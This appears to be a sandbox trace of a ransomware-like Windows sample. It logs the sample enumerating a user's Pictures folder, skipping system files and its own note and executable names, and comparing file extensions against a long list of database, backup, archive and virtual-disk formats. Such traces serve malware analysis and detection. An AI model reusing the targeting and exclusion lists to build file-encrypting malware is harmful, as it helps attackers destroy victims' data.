	[0040.346] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2=".") returned 1
	[0040.346] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="..") returned 1
	[0040.346] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="windows") returned -1
	[0040.346] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="bootmgr") returned -1
	[0040.346] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="temp") returned -1
	[0040.346] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="pagefile.sys") returned -1
	[0040.347] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="boot") returned -1
	[0040.347] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="ids.txt") returned -1
	[0040.347] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="ntuser.dat") returned -1
	[0040.347] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="perflogs") returned -1
	[0040.347] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2="MSBuild") returned -1
	[0040.347] lstrlenW (lpString="0wYzxz5EQs a.jpg") returned 16
	[0040.347] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*") returned 40
	[0040.347] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="0wYzxz5EQs a.jpg" | out: lpString1="0wYzxz5EQs a.jpg") returned="0wYzxz5EQs a.jpg"
	[0040.347] lstrlenW (lpString="0wYzxz5EQs a.jpg") returned 16
	[0040.347] lstrlenW (lpString="Apollon865") returned 10
	[0040.347] lstrcmpiW (lpString1="5EQs a.jpg", lpString2="Apollon865") returned -1
	[0040.347] lstrlenW (lpString=".dll") returned 4
	[0040.347] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2=".dll") returned 1
	[0040.347] lstrlenW (lpString=".lnk") returned 4
	[0040.347] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2=".lnk") returned 1
	[0040.347] lstrlenW (lpString=".ini") returned 4
	[0040.347] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2=".ini") returned 1
	[0040.347] lstrlenW (lpString=".sys") returned 4
	[0040.347] lstrcmpiW (lpString1="0wYzxz5EQs a.jpg", lpString2=".sys") returned 1
	[0040.347] lstrlenW (lpString="0wYzxz5EQs a.jpg") returned 16
	[0040.347] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="6pPD-3xtzN5e.bmp" | out: lpString1="6pPD-3xtzN5e.bmp") returned="6pPD-3xtzN5e.bmp"
	[0040.347] lstrlenW (lpString="6pPD-3xtzN5e.bmp") returned 16
	[0040.347] lstrlenW (lpString="Apollon865") returned 10
	[0040.347] lstrcmpiW (lpString1="xtzN5e.bmp", lpString2="Apollon865") returned 1
	[0040.347] lstrlenW (lpString=".dll") returned 4
	[0040.347] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2=".dll") returned 1
	[0040.347] lstrlenW (lpString=".lnk") returned 4
	[0040.347] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2=".lnk") returned 1
	[0040.347] lstrlenW (lpString=".ini") returned 4
	[0040.347] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2=".ini") returned 1
	[0040.347] lstrlenW (lpString=".sys") returned 4
	[0040.347] lstrcmpiW (lpString1="6pPD-3xtzN5e.bmp", lpString2=".sys") returned 1
	[0040.347] lstrlenW (lpString="6pPD-3xtzN5e.bmp") returned 16
	[0040.347] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0040.348] lstrlenW (lpString="desktop.ini") returned 11
	[0040.348] lstrlenW (lpString="Apollon865") returned 10
	[0040.348] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0040.348] lstrlenW (lpString=".dll") returned 4
	[0040.348] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0040.348] lstrlenW (lpString=".lnk") returned 4
	[0040.348] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0040.348] lstrlenW (lpString=".ini") returned 4
	[0040.348] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0040.348] lstrlenW (lpString=".sys") returned 4
	[0040.348] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0040.348] lstrlenW (lpString="desktop.ini") returned 11
	[0040.348] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="fJQeYltRV" | out: lpString1="fJQeYltRV") returned="fJQeYltRV"
	[0040.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0040.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x599a78
	[0040.348] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0040.348] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b42390, ftCreationTime.dwHighDateTime=0x1d4c6da, ftLastAccessTime.dwLowDateTime=0x27b843a0, ftLastAccessTime.dwHighDateTime=0x1d4c6b3, ftLastWriteTime.dwLowDateTime=0x27b843a0, ftLastWriteTime.dwHighDateTime=0x1d4c6b3, nFileSizeHigh=0x0, nFileSizeLow=0x94b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hd2FRjNaxKBP5Y_XNNVl.bmp", cAlternateFileName="HD2FRJ~1.BMP")) returned 1
	[0040.348] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.348] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0040.348] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2=".") returned 1
	[0040.348] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="..") returned 1
	[0040.348] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="windows") returned -1
	[0040.348] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="bootmgr") returned 1
	[0040.348] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="temp") returned -1
	[0040.348] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="pagefile.sys") returned -1
	[0040.348] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="boot") returned 1
	[0040.348] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="ids.txt") returned -1
	[0040.348] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="ntuser.dat") returned -1
	[0040.348] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="perflogs") returned -1
	[0040.348] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2="MSBuild") returned -1
	[0040.348] lstrlenW (lpString="Hd2FRjNaxKBP5Y_XNNVl.bmp") returned 24
	[0040.348] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV") returned 48
	[0040.348] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="Hd2FRjNaxKBP5Y_XNNVl.bmp" | out: lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp") returned="Hd2FRjNaxKBP5Y_XNNVl.bmp"
	[0040.348] lstrlenW (lpString="Hd2FRjNaxKBP5Y_XNNVl.bmp") returned 24
	[0040.348] lstrlenW (lpString="Apollon865") returned 10
	[0040.348] lstrcmpiW (lpString1="_XNNVl.bmp", lpString2="Apollon865") returned -1
	[0040.349] lstrlenW (lpString=".dll") returned 4
	[0040.349] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2=".dll") returned 1
	[0040.349] lstrlenW (lpString=".lnk") returned 4
	[0040.349] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2=".lnk") returned 1
	[0040.349] lstrlenW (lpString=".ini") returned 4
	[0040.349] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2=".ini") returned 1
	[0040.349] lstrlenW (lpString=".sys") returned 4
	[0040.349] lstrcmpiW (lpString1="Hd2FRjNaxKBP5Y_XNNVl.bmp", lpString2=".sys") returned 1
	[0040.349] lstrlenW (lpString="Hd2FRjNaxKBP5Y_XNNVl.bmp") returned 24
	[0040.349] lstrlenW (lpString="bak") returned 3
	[0040.349] lstrcmpiW (lpString1="bmp", lpString2="bak") returned 1
	[0040.349] lstrlenW (lpString="ba_") returned 3
	[0040.349] lstrcmpiW (lpString1="bmp", lpString2="ba_") returned 1
	[0040.349] lstrlenW (lpString="dbb") returned 3
	[0040.349] lstrcmpiW (lpString1="bmp", lpString2="dbb") returned -1
	[0040.349] lstrlenW (lpString="vmdk") returned 4
	[0040.349] lstrcmpiW (lpString1=".bmp", lpString2="vmdk") returned -1
	[0040.349] lstrlenW (lpString="rar") returned 3
	[0040.349] lstrcmpiW (lpString1="bmp", lpString2="rar") returned -1
	[0040.349] lstrlenW (lpString="zip") returned 3
	[0040.349] lstrcmpiW (lpString1="bmp", lpString2="zip") returned -1
	[0040.349] lstrlenW (lpString="tgz") returned 3
	[0040.349] lstrcmpiW (lpString1="bmp", lpString2="tgz") returned -1
	[0040.349] lstrlenW (lpString="vbox") returned 4
	[0040.349] lstrcmpiW (lpString1=".bmp", lpString2="vbox") returned -1
	[0040.349] lstrlenW (lpString="vdi") returned 3
	[0040.349] lstrcmpiW (lpString1="bmp", lpString2="vdi") returned -1
	[0040.349] lstrlenW (lpString="vhd") returned 3
	[0040.349] lstrcmpiW (lpString1="bmp", lpString2="vhd") returned -1
	[0040.349] lstrlenW (lpString="vhdx") returned 4
	[0040.349] lstrcmpiW (lpString1=".bmp", lpString2="vhdx") returned -1
	[0040.349] lstrlenW (lpString="avhd") returned 4
	[0040.349] lstrcmpiW (lpString1=".bmp", lpString2="avhd") returned -1
	[0040.349] lstrlenW (lpString="db") returned 2
	[0040.349] lstrcmpiW (lpString1="mp", lpString2="db") returned 1
	[0040.349] lstrlenW (lpString="db2") returned 3
	[0040.350] lstrcmpiW (lpString1="bmp", lpString2="db2") returned -1
	[0040.350] lstrlenW (lpString="db3") returned 3
	[0040.350] lstrcmpiW (lpString1="bmp", lpString2="db3") returned -1
	[0040.350] lstrlenW (lpString="dbf") returned 3
	[0040.350] lstrcmpiW (lpString1="bmp", lpString2="dbf") returned -1
	[0040.350] lstrlenW (lpString="mdf") returned 3
	[0040.350] lstrcmpiW (lpString1="bmp", lpString2="mdf") returned -1
	[0040.350] lstrlenW (lpString="mdb") returned 3
	[0040.350] lstrcmpiW (lpString1="bmp", lpString2="mdb") returned -1
	[0040.350] lstrlenW (lpString="sql") returned 3
	[0040.350] lstrcmpiW (lpString1="bmp", lpString2="sql") returned -1
	[0040.350] lstrlenW (lpString="sqlite") returned 6
	[0040.350] lstrcmpiW (lpString1="Vl.bmp", lpString2="sqlite") returned 1
	[0040.350] lstrlenW (lpString="sqlite3") returned 7
	[0040.350] lstrcmpiW (lpString1="NVl.bmp", lpString2="sqlite3") returned -1
	[0040.350] lstrlenW (lpString="sqlitedb") returned 8
	[0040.350] lstrcmpiW (lpString1="NNVl.bmp", lpString2="sqlitedb") returned -1
	[0040.350] lstrlenW (lpString="xml") returned 3
	[0040.350] lstrcmpiW (lpString1="bmp", lpString2="xml") returned -1
	[0040.350] lstrlenW (lpString="$er") returned 3
	[0040.350] lstrcmpiW (lpString1="bmp", lpString2="$er") returned 1
	[0040.350] lstrlenW (lpString="4dd") returned 3
	[0040.350] lstrcmpiW (lpString1="bmp", lpString2="4dd") returned 1
	[0040.350] lstrlenW (lpString="4dl") returned 3
	[0040.350] lstrcmpiW (lpString1="bmp", lpString2="4dl") returned 1
	[0040.350] lstrlenW (lpString="^^^") returned 3
	[0040.350] lstrcmpiW (lpString1="bmp", lpString2="^^^") returned 1
	[0040.350] lstrlenW (lpString="abs") returned 3
	[0040.350] lstrcmpiW (lpString1="bmp", lpString2="abs") returned 1
	[0040.350] lstrlenW (lpString="abx") returned 3
	[0040.350] lstrcmpiW (lpString1="bmp", lpString2="abx") returned 1
	[0040.350] lstrlenW (lpString="accdb") returned 5
	[0040.350] lstrcmpiW (lpString1="l.bmp", lpString2="accdb") returned 1
	[0040.350] lstrlenW (lpString="accdc") returned 5
	[0040.350] lstrcmpiW (lpString1="l.bmp", lpString2="accdc") returned 1
	[0040.350] lstrlenW (lpString="accde") returned 5
	[0040.350] lstrcmpiW (lpString1="l.bmp", lpString2="accde") returned 1
	[0040.351] lstrlenW (lpString="accdr") returned 5
	[0040.351] lstrcmpiW (lpString1="l.bmp", lpString2="accdr") returned 1
	[0040.351] lstrlenW (lpString="accdt") returned 5
	[0040.351] lstrcmpiW (lpString1="l.bmp", lpString2="accdt") returned 1
	[0040.351] lstrlenW (lpString="accdw") returned 5
	[0040.351] lstrcmpiW (lpString1="l.bmp", lpString2="accdw") returned 1
	[0040.351] lstrlenW (lpString="accft") returned 5
	[0040.351] lstrcmpiW (lpString1="l.bmp", lpString2="accft") returned 1
	[0040.351] lstrlenW (lpString="adb") returned 3
	[0040.351] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0040.351] lstrlenW (lpString="adb") returned 3
	[0040.351] lstrcmpiW (lpString1="bmp", lpString2="adb") returned 1
	[0040.351] lstrlenW (lpString="ade") returned 3
	[0040.351] lstrcmpiW (lpString1="bmp", lpString2="ade") returned 1
	[0040.351] lstrlenW (lpString="adf") returned 3
	[0040.351] lstrcmpiW (lpString1="bmp", lpString2="adf") returned 1
	[0040.351] lstrlenW (lpString="adn") returned 3
	[0040.351] lstrcmpiW (lpString1="bmp", lpString2="adn") returned 1
	[0040.351] lstrlenW (lpString="adp") returned 3
	[0040.351] lstrcmpiW (lpString1="bmp", lpString2="adp") returned 1
	[0040.351] lstrlenW (lpString="alf") returned 3
	[0040.351] lstrcmpiW (lpString1="bmp", lpString2="alf") returned 1
	[0040.351] lstrlenW (lpString="ask") returned 3
	[0040.351] lstrcmpiW (lpString1="bmp", lpString2="ask") returned 1
	[0040.351] lstrlenW (lpString="btr") returned 3
	[0040.351] lstrcmpiW (lpString1="bmp", lpString2="btr") returned -1
	[0040.351] lstrlenW (lpString="cat") returned 3
	[0040.351] lstrcmpiW (lpString1="bmp", lpString2="cat") returned -1
	[0040.351] lstrlenW (lpString="cdb") returned 3
	[0040.351] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1
	[0040.351] lstrlenW (lpString="ckp") returned 3
	[0040.351] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1
	[0040.351] lstrlenW (lpString="cma") returned 3
	[0040.351] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1
	[0040.351] lstrlenW (lpString="cpd") returned 3
	[0040.351] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1
	[0040.351] lstrlenW (lpString="dacpac") returned 6
	[0040.351] lstrcmpiW (lpString1="Vl.bmp", lpString2="dacpac") returned 1
	[0040.351] lstrlenW (lpString="dad") returned 3
	[0040.352] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1
	[0040.352] lstrlenW (lpString="dadiagrams") returned 10
	[0040.352] lstrcmpiW (lpString1="_XNNVl.bmp", lpString2="dadiagrams") returned -1
	[0040.352] lstrlenW (lpString="daschema") returned 8
	[0040.352] lstrcmpiW (lpString1="NNVl.bmp", lpString2="daschema") returned 1
	[0040.352] lstrlenW (lpString="db-journal") returned 10
	[0040.352] lstrcmpiW (lpString1="_XNNVl.bmp", lpString2="db-journal") returned -1
	[0040.352] lstrlenW (lpString="db-shm") returned 6
	[0040.352] lstrcmpiW (lpString1="Vl.bmp", lpString2="db-shm") returned 1
	[0040.352] lstrlenW (lpString="db-wal") returned 6
	[0040.352] lstrcmpiW (lpString1="Vl.bmp", lpString2="db-wal") returned 1
	[0040.352] lstrlenW (lpString="dbc") returned 3
	[0040.352] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1
	[0040.352] lstrlenW (lpString="dbs") returned 3
	[0040.352] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1
	[0040.352] lstrlenW (lpString="dbt") returned 3
	[0040.352] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1
	[0040.352] lstrlenW (lpString="dbv") returned 3
	[0040.352] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1
	[0040.352] lstrlenW (lpString="dbx") returned 3
	[0040.352] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1
	[0040.352] lstrlenW (lpString="dcb") returned 3
	[0040.352] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1
	[0040.352] lstrlenW (lpString="dct") returned 3
	[0040.352] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1
	[0040.352] lstrlenW (lpString="dcx") returned 3
	[0040.352] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1
	[0040.352] lstrlenW (lpString="ddl") returned 3
	[0040.352] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1
	[0040.352] lstrlenW (lpString="dlis") returned 4
	[0040.352] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1
	[0040.352] lstrlenW (lpString="dp1") returned 3
	[0040.352] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1
	[0040.352] lstrlenW (lpString="dqy") returned 3
	[0040.352] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1
	[0040.352] lstrlenW (lpString="dsk") returned 3
	[0040.352] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1
	[0040.352] lstrlenW (lpString="dsn") returned 3
	[0040.353] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1
	[0040.353] lstrlenW (lpString="dtsx") returned 4
	[0040.353] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1
	[0040.353] lstrlenW (lpString="dxl") returned 3
	[0040.353] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1
	[0040.353] lstrlenW (lpString="eco") returned 3
	[0040.353] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1
	[0040.353] lstrlenW (lpString="ecx") returned 3
	[0040.353] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1
	[0040.353] lstrlenW (lpString="edb") returned 3
	[0040.353] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1
	[0040.353] lstrlenW (lpString="epim") returned 4
	[0040.353] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1
	[0040.353] lstrlenW (lpString="fcd") returned 3
	[0040.353] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1
	[0040.353] lstrlenW (lpString="fdb") returned 3
	[0040.353] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1
	[0040.353] lstrlenW (lpString="fic") returned 3
	[0040.353] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1
	[0040.353] lstrlenW (lpString="flexolibrary") returned 12
	[0040.353] lstrcmpiW (lpString1="5Y_XNNVl.bmp", lpString2="flexolibrary") returned -1
	[0040.353] lstrlenW (lpString="fm5") returned 3
	[0040.353] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1
	[0040.353] lstrlenW (lpString="fmp") returned 3
	[0040.353] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1
	[0040.353] lstrlenW (lpString="fmp12") returned 5
	[0040.353] lstrcmpiW (lpString1="l.bmp", lpString2="fmp12") returned 1
	[0040.353] lstrlenW (lpString="fmpsl") returned 5
	[0040.353] lstrcmpiW (lpString1="l.bmp", lpString2="fmpsl") returned 1
	[0040.353] lstrlenW (lpString="fol") returned 3
	[0040.353] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1
	[0040.353] lstrlenW (lpString="fp3") returned 3
	[0040.353] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1
	[0040.353] lstrlenW (lpString="fp4") returned 3
	[0040.353] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1
	[0040.353] lstrlenW (lpString="fp5") returned 3
	[0040.353] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1
	[0040.354] lstrlenW (lpString="fp7") returned 3
	[0040.354] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1
	[0040.354] lstrlenW (lpString="fpt") returned 3
	[0040.354] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1
	[0040.354] lstrlenW (lpString="frm") returned 3
	[0040.354] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1
	[0040.354] lstrlenW (lpString="gdb") returned 3
	[0040.354] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0040.354] lstrlenW (lpString="gdb") returned 3
	[0040.354] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0040.354] lstrlenW (lpString="grdb") returned 4
	[0040.354] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1
	[0040.354] lstrlenW (lpString="gwi") returned 3
	[0040.354] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1
	[0040.354] lstrlenW (lpString="hdb") returned 3
	[0040.354] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1
	[0040.354] lstrlenW (lpString="his") returned 3
	[0040.354] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1
	[0040.354] lstrlenW (lpString="ib") returned 2
	[0040.354] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1
	[0040.354] lstrlenW (lpString="idb") returned 3
	[0040.354] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1
	[0040.354] lstrlenW (lpString="ihx") returned 3
	[0040.354] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1
	[0040.354] lstrlenW (lpString="itdb") returned 4
	[0040.354] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1
	[0040.354] lstrlenW (lpString="itw") returned 3
	[0040.354] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1
	[0040.354] lstrlenW (lpString="jet") returned 3
	[0040.354] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1
	[0040.354] lstrlenW (lpString="jtx") returned 3
	[0040.354] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1
	[0040.354] lstrlenW (lpString="kdb") returned 3
	[0040.354] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1
	[0040.354] lstrlenW (lpString="kexi") returned 4
	[0040.354] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1
	[0040.354] lstrlenW (lpString="kexic") returned 5
	[0040.355] lstrcmpiW (lpString1="l.bmp", lpString2="kexic") returned 1
	[0040.355] lstrlenW (lpString="kexis") returned 5
	[0040.355] lstrcmpiW (lpString1="l.bmp", lpString2="kexis") returned 1
	[0040.355] lstrlenW (lpString="lgc") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1
	[0040.355] lstrlenW (lpString="lwx") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1
	[0040.355] lstrlenW (lpString="maf") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1
	[0040.355] lstrlenW (lpString="maq") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1
	[0040.355] lstrlenW (lpString="mar") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1
	[0040.355] lstrlenW (lpString="marshal") returned 7
	[0040.355] lstrcmpiW (lpString1="NVl.bmp", lpString2="marshal") returned 1
	[0040.355] lstrlenW (lpString="mas") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1
	[0040.355] lstrlenW (lpString="mav") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1
	[0040.355] lstrlenW (lpString="maw") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1
	[0040.355] lstrlenW (lpString="mdbhtml") returned 7
	[0040.355] lstrcmpiW (lpString1="NVl.bmp", lpString2="mdbhtml") returned 1
	[0040.355] lstrlenW (lpString="mdn") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1
	[0040.355] lstrlenW (lpString="mdt") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1
	[0040.355] lstrlenW (lpString="mfd") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1
	[0040.355] lstrlenW (lpString="mpd") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1
	[0040.355] lstrlenW (lpString="mrg") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1
	[0040.355] lstrlenW (lpString="mud") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1
	[0040.355] lstrlenW (lpString="mwb") returned 3
	[0040.355] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1
	[0040.356] lstrlenW (lpString="myd") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1
	[0040.356] lstrlenW (lpString="ndf") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1
	[0040.356] lstrlenW (lpString="nnt") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1
	[0040.356] lstrlenW (lpString="nrmlib") returned 6
	[0040.356] lstrcmpiW (lpString1="Vl.bmp", lpString2="nrmlib") returned 1
	[0040.356] lstrlenW (lpString="ns2") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1
	[0040.356] lstrlenW (lpString="ns3") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1
	[0040.356] lstrlenW (lpString="ns4") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1
	[0040.356] lstrlenW (lpString="nsf") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1
	[0040.356] lstrlenW (lpString="nv") returned 2
	[0040.356] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1
	[0040.356] lstrlenW (lpString="nv2") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1
	[0040.356] lstrlenW (lpString="nwdb") returned 4
	[0040.356] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1
	[0040.356] lstrlenW (lpString="nyf") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1
	[0040.356] lstrlenW (lpString="odb") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0040.356] lstrlenW (lpString="odb") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0040.356] lstrlenW (lpString="oqy") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1
	[0040.356] lstrlenW (lpString="ora") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1
	[0040.356] lstrlenW (lpString="orx") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1
	[0040.356] lstrlenW (lpString="owc") returned 3
	[0040.356] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1
	[0040.356] lstrlenW (lpString="p96") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1
	[0040.357] lstrlenW (lpString="p97") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1
	[0040.357] lstrlenW (lpString="pan") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1
	[0040.357] lstrlenW (lpString="pdb") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1
	[0040.357] lstrlenW (lpString="pdm") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1
	[0040.357] lstrlenW (lpString="pnz") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1
	[0040.357] lstrlenW (lpString="qry") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1
	[0040.357] lstrlenW (lpString="qvd") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1
	[0040.357] lstrlenW (lpString="rbf") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1
	[0040.357] lstrlenW (lpString="rctd") returned 4
	[0040.357] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1
	[0040.357] lstrlenW (lpString="rod") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1
	[0040.357] lstrlenW (lpString="rodx") returned 4
	[0040.357] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1
	[0040.357] lstrlenW (lpString="rpd") returned 3
	[0040.357] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1
	[0040.357] lstrlenW (lpString="rsd") returned 3
